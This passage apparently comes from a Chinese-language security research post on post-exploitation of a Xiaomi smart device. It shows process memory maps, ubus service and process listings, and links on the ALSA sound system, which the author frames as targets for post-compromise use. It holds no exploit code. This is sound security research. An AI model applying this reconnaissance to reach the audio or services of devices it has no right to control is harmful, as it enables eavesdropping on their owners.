<span class="n">b6da0000</span><span class="o">-</span><span class="n">b6daf000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00151000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">872</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libvpm</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6daf000</span><span class="o">-</span><span class="n">b6dc9000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00000000</span> <span class="mo">00</span><span class="o">:</span><span class="mo">00</span> <span class="mi">0</span>
<span class="n">b6dc9000</span><span class="o">-</span><span class="n">b6ddf000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">875</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libjson</span><span class="o">-</span><span class="n">c</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">2</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">1</span>
<span class="n">b6ddf000</span><span class="o">-</span><span class="n">b6de0000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span> <span class="mo">00006000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">875</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libjson</span><span class="o">-</span><span class="n">c</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">2</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">1</span>
<span class="n">b6de0000</span><span class="o">-</span><span class="n">b6de1000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00007000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">875</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libjson</span><span class="o">-</span><span class="n">c</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">2</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">1</span>
<span class="n">b6de1000</span><span class="o">-</span><span class="n">b6df5000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">282</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libubus</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6df5000</span><span class="o">-</span><span class="n">b6df6000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span> <span class="mo">00004000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">282</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libubus</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6df6000</span><span class="o">-</span><span class="n">b6df7000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00005000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">282</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libubus</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6df7000</span><span class="o">-</span><span class="n">b6e0e000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">246</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libubox</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6e0e000</span><span class="o">-</span><span class="n">b6e0f000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span> <span class="mo">00007000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">246</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libubox</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6e0f000</span><span class="o">-</span><span class="n">b6e10000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">0000</span><span class="mi">8000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">246</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libubox</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6e10000</span><span class="o">-</span><span class="n">b6e22000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">906</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libmibrain</span><span class="o">-</span><span class="n">common</span><span class="o">-</span><span class="n">util</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6e22000</span><span class="o">-</span><span class="n">b6e23000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00002000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">906</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libmibrain</span><span class="o">-</span><span class="n">common</span><span class="o">-</span><span class="n">util</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6e23000</span><span class="o">-</span><span class="n">b6e4f000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">897</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libmibrain</span><span class="o">-</span><span class="n">common</span><span class="o">-</span><span class="n">sdk</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6e4f000</span><span class="o">-</span><span class="n">b6e50000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">0001</span><span class="n">c000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">897</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libmibrain</span><span class="o">-</span><span class="n">common</span><span class="o">-</span><span class="n">sdk</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6e50000</span><span class="o">-</span><span class="n">b6e51000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00000000</span> <span class="mo">00</span><span class="o">:</span><span class="mo">00</span> <span class="mi">0</span>
<span class="n">b6e51000</span><span class="o">-</span><span class="n">b6e70000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">939</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libz</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">1</span><span class="p">.</span><span class="mi">2</span><span class="p">.</span><span class="mi">8</span>
<span class="n">b6e70000</span><span class="o">-</span><span class="n">b6e71000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span> <span class="mo">0000</span><span class="n">f000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">939</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libz</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">1</span><span class="p">.</span><span class="mi">2</span><span class="p">.</span><span class="mi">8</span>
<span class="n">b6e71000</span><span class="o">-</span><span class="n">b6e72000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00010000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">939</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libz</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">1</span><span class="p">.</span><span class="mi">2</span><span class="p">.</span><span class="mi">8</span>
<span class="n">b6e72000</span><span class="o">-</span><span class="n">b6f26000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">888</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libasound</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">2</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">0</span>
<span class="n">b6f26000</span><span class="o">-</span><span class="n">b6f2b000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span> <span class="mo">000</span><span class="n">a4000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">888</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libasound</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">2</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">0</span>
<span class="n">b6f2b000</span><span class="o">-</span><span class="n">b6f2c000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">000</span><span class="n">a9000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">888</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libasound</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">2</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">0</span>
<span class="n">b6f2c000</span><span class="o">-</span><span class="n">b6f91000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">234</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libc</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6fa0000</span><span class="o">-</span><span class="n">b6fa1000</span> <span class="n">r</span><span class="o">--</span><span class="n">s</span> <span class="mo">00000000</span> <span class="mo">00</span><span class="o">:</span><span class="mi">0</span><span class="n">f</span> <span class="mi">2173</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">TZ</span>
<span class="n">b6fa1000</span><span class="o">-</span><span class="n">b6fa2000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span> <span class="mo">00065000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">234</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libc</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6fa2000</span><span class="o">-</span><span class="n">b6fa3000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00066000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">234</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libc</span><span class="p">.</span><span class="n">so</span>
<span class="n">b6fa3000</span><span class="o">-</span><span class="n">b6fa5000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00000000</span> <span class="mo">00</span><span class="o">:</span><span class="mo">00</span> <span class="mi">0</span>
<span class="n">be976000</span><span class="o">-</span><span class="n">be997000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00000000</span> <span class="mo">00</span><span class="o">:</span><span class="mo">00</span> <span class="mi">0</span> <span class="p">[</span><span class="n">stack</span><span class="p">]</span>
<span class="n">befd4000</span><span class="o">-</span><span class="n">befd5000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mo">00</span><span class="o">:</span><span class="mo">00</span> <span class="mi">0</span> <span class="p">[</span><span class="n">sigpage</span><span class="p">]</span>
<span class="n">ffff0000</span><span class="o">-</span><span class="n">ffff1000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mo">00</span><span class="o">:</span><span class="mo">00</span> <span class="mi">0</span> <span class="p">[</span><span class="n">vectors</span><span class="p">]</span>
</code></pre></div></div>
<h3 id="进程通信">进程通信</h3>
<p>小米非常喜欢用ubus等消息总线实现进程间通信,因此在后续的利用过程中,由于ubus机制使得我们复现功能进行后渗透利用非常便捷:</p>
<ul>
<li><a href="https://gtrboy.github.io/posts/bus/">物联网设备消息总线机制的使用及安全问题</a></li>
<li><a href="https://github.com/ReAbout/ctf-writeup/blob/master/qwb-2021-final/mirouter-wp.md">QWB-2021-Final:RealWorld MiRouter WriteUp</a></li>
<li><a href="https://xuanxuanblingbling.github.io/iot/2021/07/15/mirouter/">强网杯 2021 线下 RW Mi Router</a></li>
</ul>
<p>使用ubus list查看所有注册的ubus服务:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># ubus list
</span><span class="n">ai_crontab</span>
<span class="n">alarm</span>
<span class="n">led</span>
<span class="n">mediaplayer</span>
<span class="n">messagingagent</span>
<span class="n">mible</span>
<span class="n">mibrain</span>
<span class="n">mibt</span>
<span class="n">mibt_mesh</span>
<span class="n">miio</span>
<span class="n">network</span>
<span class="n">network</span><span class="p">.</span><span class="n">device</span>
<span class="n">network</span><span class="p">.</span><span class="n">interface</span>
<span class="n">network</span><span class="p">.</span><span class="n">wireless</span>
<span class="n">nightmode</span>
<span class="n">path_child_mode</span>
<span class="n">pnshelper</span>
<span class="n">qplayer</span>
<span class="n">service</span>
<span class="n">system</span>
<span class="n">upnp</span><span class="o">-</span><span class="n">disc</span>
<span class="n">wifitool</span>
</code></pre></div></div>
<p>每个服务背后都对应着相应的进程,部分可以通过进程名对应出来:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">/</span> <span class="err">#</span> <span class="n">ps</span>
<span class="mi">1418</span> <span class="n">root</span> <span class="mi">1040</span> <span class="n">S</span><span class="o"><</span> <span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">ledserver</span>
<span class="mi">3099</span> <span class="n">root</span> <span class="mi">10072</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mediaplayer</span>
<span class="mi">3109</span> <span class="n">root</span> <span class="mi">8028</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">messagingagent</span> <span class="o">--</span><span class="n">handler_threads</span> <span class="mi">8</span>
<span class="mi">3118</span> <span class="n">root</span> <span class="mi">1024</span> <span class="n">S</span> <span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">wifitool</span>
<span class="mi">3307</span> <span class="n">root</span> <span class="mi">5936</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">bluez_mibt_classical</span>
<span class="mi">3308</span> <span class="n">root</span> <span class="mi">2628</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">bluez_mibt_ble</span>
<span class="mi">3724</span> <span class="n">root</span> <span class="mi">5636</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mibrain_service</span>
<span class="mi">3742</span> <span class="n">root</span> <span class="mi">1400</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mico_ai_crontab</span>
<span class="mi">3907</span> <span class="n">root</span> <span class="mi">9744</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">upnp</span><span class="o">-</span><span class="n">disc</span>
<span class="mi">3923</span> <span class="n">root</span> <span class="mi">1332</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">alarmd</span>
<span class="mi">4037</span> <span class="n">root</span> <span class="mi">1032</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">miio_client</span> <span class="o">-</span><span class="n">L</span> <span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">null</span>
<span class="mi">4038</span> <span class="n">root</span> <span class="mi">1092</span> <span class="n">S</span> <span class="p">{</span><span class="n">miio_client_hel</span><span class="p">}</span> <span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">sh</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">miio_client_helper</span>
<span class="mi">4039</span> <span class="n">root</span> <span class="mi">1236</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">miio_service</span>
<span class="mi">4272</span> <span class="n">root</span> <span class="mi">564</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">miio_recv_line</span>
</code></pre></div></div>
<p>ubus服务名与进程名不是必须对应的,其本质是进程使用了libubus.so:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">/</span> <span class="err">#</span> <span class="n">ps</span> <span class="o">|</span> <span class="n">grep</span> <span class="n">mediaplayer</span>
<span class="mi">3099</span> <span class="n">root</span> <span class="mi">10072</span> <span class="n">S</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mediaplayer</span>
<span class="o">/</span> <span class="err">#</span> <span class="n">cat</span> <span class="o">/</span><span class="n">proc</span><span class="o">/</span><span class="mi">3099</span><span class="o">/</span><span class="n">maps</span>
<span class="mo">00010000</span><span class="o">-</span><span class="mo">0005</span><span class="n">c000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">394</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mediaplayer</span>
<span class="mo">0006</span><span class="n">b000</span><span class="o">-</span><span class="mo">0006</span><span class="n">c000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span> <span class="mo">0004</span><span class="n">b000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">394</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mediaplayer</span>
<span class="mo">0006</span><span class="n">c000</span><span class="o">-</span><span class="mo">0006</span><span class="n">d000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">0004</span><span class="n">c000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">394</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mediaplayer</span>
<span class="p">...</span>
<span class="n">b6652000</span><span class="o">-</span><span class="n">b667b000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">1337</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libnghttp2</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">14</span><span class="p">.</span><span class="mi">13</span><span class="p">.</span><span class="mi">2</span>
<span class="n">b667b000</span><span class="o">-</span><span class="n">b667c000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span> <span class="mo">0001</span><span class="mi">9000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">1337</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libnghttp2</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">14</span><span class="p">.</span><span class="mi">13</span><span class="p">.</span><span class="mi">2</span>
<span class="n">b667c000</span><span class="o">-</span><span class="n">b667e000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">0001</span><span class="n">a000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">1337</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libnghttp2</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">14</span><span class="p">.</span><span class="mi">13</span><span class="p">.</span><span class="mi">2</span>
<span class="n">b667e000</span><span class="o">-</span><span class="n">b66c5000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">968</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libopus</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">.</span><span class="mi">3</span>
<span class="n">b66c5000</span><span class="o">-</span><span class="n">b66c6000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span> <span class="mo">00037000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">968</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libopus</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">.</span><span class="mi">3</span>
<span class="n">b66c6000</span><span class="o">-</span><span class="n">b66c7000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">0003</span><span class="mi">8000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">968</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libopus</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">.</span><span class="mi">3</span>
<span class="n">b66c7000</span><span class="o">-</span><span class="n">b66e6000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">939</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libz</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">1</span><span class="p">.</span><span class="mi">2</span><span class="p">.</span><span class="mi">8</span>
<span class="n">b66e6000</span><span class="o">-</span><span class="n">b66e7000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span> <span class="mo">0000</span><span class="n">f000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">939</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libz</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">1</span><span class="p">.</span><span class="mi">2</span><span class="p">.</span><span class="mi">8</span>
<span class="n">b66e7000</span><span class="o">-</span><span class="n">b66e8000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00010000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">939</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libz</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">1</span><span class="p">.</span><span class="mi">2</span><span class="p">.</span><span class="mi">8</span>
<span class="n">b66e8000</span><span class="o">-</span><span class="n">b6737000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">984</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libssl</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">1</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">0</span>
<span class="n">b6737000</span><span class="o">-</span><span class="n">b673a000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span> <span class="mo">0003</span><span class="n">f000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">984</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libssl</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">1</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">0</span>
<span class="n">b673a000</span><span class="o">-</span><span class="n">b673c000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00042000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">984</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libssl</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">1</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">0</span>
<span class="n">b673c000</span><span class="o">-</span><span class="n">b6755000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">281</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libgcc_s</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">1</span>
<span class="n">b6755000</span><span class="o">-</span><span class="n">b6756000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">0000</span><span class="mi">9000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">281</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libgcc_s</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">1</span>
<span class="n">b6756000</span><span class="o">-</span><span class="n">b676a000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span> <span class="mo">00000000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">282</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libubus</span><span class="p">.</span><span class="n">so</span>
<span class="n">b676a000</span><span class="o">-</span><span class="n">b676b000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span> <span class="mo">00004000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">282</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libubus</span><span class="p">.</span><span class="n">so</span>
<span class="n">b676b000</span><span class="o">-</span><span class="n">b676c000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span> <span class="mo">00005000</span> <span class="mi">5</span><span class="n">d</span><span class="o">:</span><span class="mo">05</span> <span class="mi">282</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libubus</span><span class="p">.</span><span class="n">so</span>
</code></pre></div></div>
<h3 id="声音系统">声音系统</h3>
<p>声音系统为ALSA(高级Linux声音架构):</p>
<ul>
<li><a href="https://wiki.archlinux.org/title/Advanced_Linux_Sound_Architecture_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)">Advanced Linux Sound Architecture</a></li>
<li><a href="https://wiki.st.com/stm32mpu/wiki/ALSA_overview">STM32 user guide: ALSA overview</a></li>
<li><a href="https://blog.csdn.net/droidphone/article/details/6271122">Linux ALSA声卡驱动之一:ALSA架构简介</a></li>
<li><a href="https://blog.csdn.net/weixin_47702410/article/details/123498988">ALSA (高级Linux声音架构)、ASOC基础知识</a></li>
</ul>
<p>对于后渗透利用,可以尽量忽略内核部分的处理,以下标红的目标为利用过程中需要关注的:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/xiaomi/alsa.png" alt="image" /></p>
<p>可以对每层实体进行单独理解,首先是用户态程序:</p>
<ul>
<li><a href="https://github.com/alsa-project/alsa-utils">alsa-utils</a></li>
<li><a href="https://www.tcler.net/wiki/raspi/audio">树莓派上的音频播放</a></li>
<li><a href="https://blog.csdn.net/Tang_Chuanlin/article/details/86081102">Linux 下查看麦克风或音频采集设备</a></li>
<li><a href="https://blog.520.fi/20849.html">Linux 查看声卡设备并测试录音(ALSA音频工具)</a></li>
</ul>
<p>对用户态程序的调用分析:</p>
<ul>
<li><a href="https://blog.csdn.net/qingkongyeyue/article/details/54617950">ALSA声卡07_分析调用过程_学习笔记</a></li>
<li><a href="https://www.alsa-project.org/alsa-doc/alsa-lib/group___p_c_m.html">ALSA project - the C library reference: PCM Interface</a></li>
</ul>
<p>ALSA内核用户态分界面主要是/dev/snd/下的设备文件:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">/</span> <span class="err">#</span> <span class="n">ls</span> <span class="o">-</span><span class="n">al</span> <span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">snd</span>
